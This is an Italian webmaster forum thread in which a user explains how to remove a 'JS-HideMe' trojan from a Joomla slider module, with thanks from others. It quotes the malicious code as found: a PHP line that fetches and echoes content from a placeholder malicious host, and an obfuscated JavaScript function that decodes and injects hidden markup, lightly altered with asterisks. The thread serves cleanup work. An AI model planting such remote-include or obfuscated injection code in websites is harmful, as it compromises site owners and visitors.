Autore Topic: [TUTORIAL] Come rimuovere il trojan JS-HideMe da Plimun Nivo Slider  (Letto 4978 volte)

Offline ArtDirector

  • Appassionato
  • ***
  • Post: 288
  • Sesso: Femmina
    • Mostra profilo
Buongiorno a tutti,
rilevando un lavoro iniziato da un altro webdesigner, mi sono ritrovata a combattere contro un trojan JS-HideMe individuato da Avast.


Nonostante nella versione installata di Plimun Nivo Slider non fosse presente la porzione di codice di cui si Ŕ ampiamente parlato nel forum


Codice: [Seleziona]
<?php 
$credit
=file_get_contents('http://www.sitomalevolo.com/p.php?i='.$path);
echo 
$credit;
?>


Vi era un altro simpaticissimo script alla riga 544-552 del file default.php che potete trovare all'indirizzo tuodominio.com/public_html/modules/mod_PlimunNivoSlider/tmpl

Cancellatelo immediatamente, svuotate completamente la cache del sito e del browser e riprovate a fare una scansione con sucuri.net. Il sito sarÓ pulito e funzionante.

Codice: [Seleziona]
<script language="JavaScript">
function dnnViewState()
{
var a=0,m,v,t,z,x=new Array('9091968376','888791819281878634737491878493927735928 7883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];
t=z='';
for(v=0;v<m.*length;){t+=m.charAt(v++);
if(t.length==2){z+=String.*fromCharCode(parseInt(t)+25-l+a);
t='';}}x[l-a]=z;}document.*write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnView*State();
</script>

Edit: dal momento che lo script viene comunque rilevato da Avast, togliete gli asterischi che ho inserito per cercare di renderlo irriconoscibile.
Sperando vi sia stato utile...
« Ultima modifica: 30 Set 2013, 18:37:30 da ArtDirector »
There's no place like 127.0.0.1

Offline Jjoba

  • Nuovo arrivato
  • *
  • Post: 44
  • Sesso: Maschio
    • Mostra profilo
Stesso problema se si risolve mi ha salvato la vitaaaaaaaaaaaaaaaaaa!!!!

Offline Jjoba

  • Nuovo arrivato
  • *
  • Post: 44
  • Sesso: Maschio
    • Mostra profilo
Grazie mille per aver postato questo tread! Mi hai aiutato tantissimo! In debito!

Offline ArtDirector

  • Appassionato
  • ***
  • Post: 288
  • Sesso: Femmina
    • Mostra profilo
Grazie mille per aver postato questo tread! Mi hai aiutato tantissimo! In debito!


Attendo la mia meritatissima pinta di Guinness allora ;D
There's no place like 127.0.0.1

Offline arredarebar

  • Nuovo arrivato
  • *
  • Post: 9
    • Mostra profilo
te ne devo anch io una!!!!  ;)

grazie mille!!!

soprattutto perchŔ hai scritto come fare in maniera capibile anche per persone molto ignoranti come me!!!!!

 

Host

Torna su